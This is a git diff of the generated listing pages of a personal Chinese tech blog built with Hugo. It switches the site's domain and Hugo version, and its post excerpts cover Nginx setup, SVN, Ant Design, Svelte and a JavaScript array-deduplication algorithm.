content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -32,7 +32,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -66,9 +66,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
-worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
-error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class=post-entry><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -101,7 +99,7 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://xiaochenabc123.github.io/posts/84/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://chenjunlinabc.github.io/posts/84/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -116,14 +114,7 @@
 yarn create react-app antd-demo-ts –template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-&lt;Space direction="vertical">
-&lt;DatePicker/>
-&lt;/Space>,
-document.getElementById('root'),
-);</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://xiaochenabc123.github.io/posts/82/></a></article><article class=post-entry><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( &lt;Space direction="vertical"> &lt;DatePicker/> &lt;/Space>, document.getElementById('root'), );</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://chenjunlinabc.github.io/posts/82/></a></article><article class=post-entry><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -131,22 +122,11 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&lt;script>
-let name = 'world'
-&lt;/script>
-&lt;h1>Hello {name}!&lt;/h1>
-导入组件
-import Hallo from './hallo.svelte'
-...
-&lt;Hallo/>
-如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
+&lt;script> let name = 'world' &lt;/script> &lt;h1>Hello {name}!&lt;/h1> 导入组件
+import Hallo from './hallo.svelte' ... &lt;Hallo/> 如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
 事件响应
-function aClick() {
-count += 1
-}
-...
-&lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://xiaochenabc123.github.io/posts/80/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/12/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/14/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+function aClick() { count += 1 } ... &lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://chenjunlinabc.github.io/posts/80/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/12/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/14/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/14/index.html b/page/14/index.html
index c51b1131..239988fb 100644
--- a/page/14/index.html
+++ b/page/14/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -13,49 +13,19 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
-if(nums == null || nums.length == 0){
-return 0
-}
-let b = 0
-for(let a=0;a&lt;nums.length;a++){
-if(nums[b]!=nums[a]){
-nums[++b] = nums[a]
-}
-}
-return ++b
-}
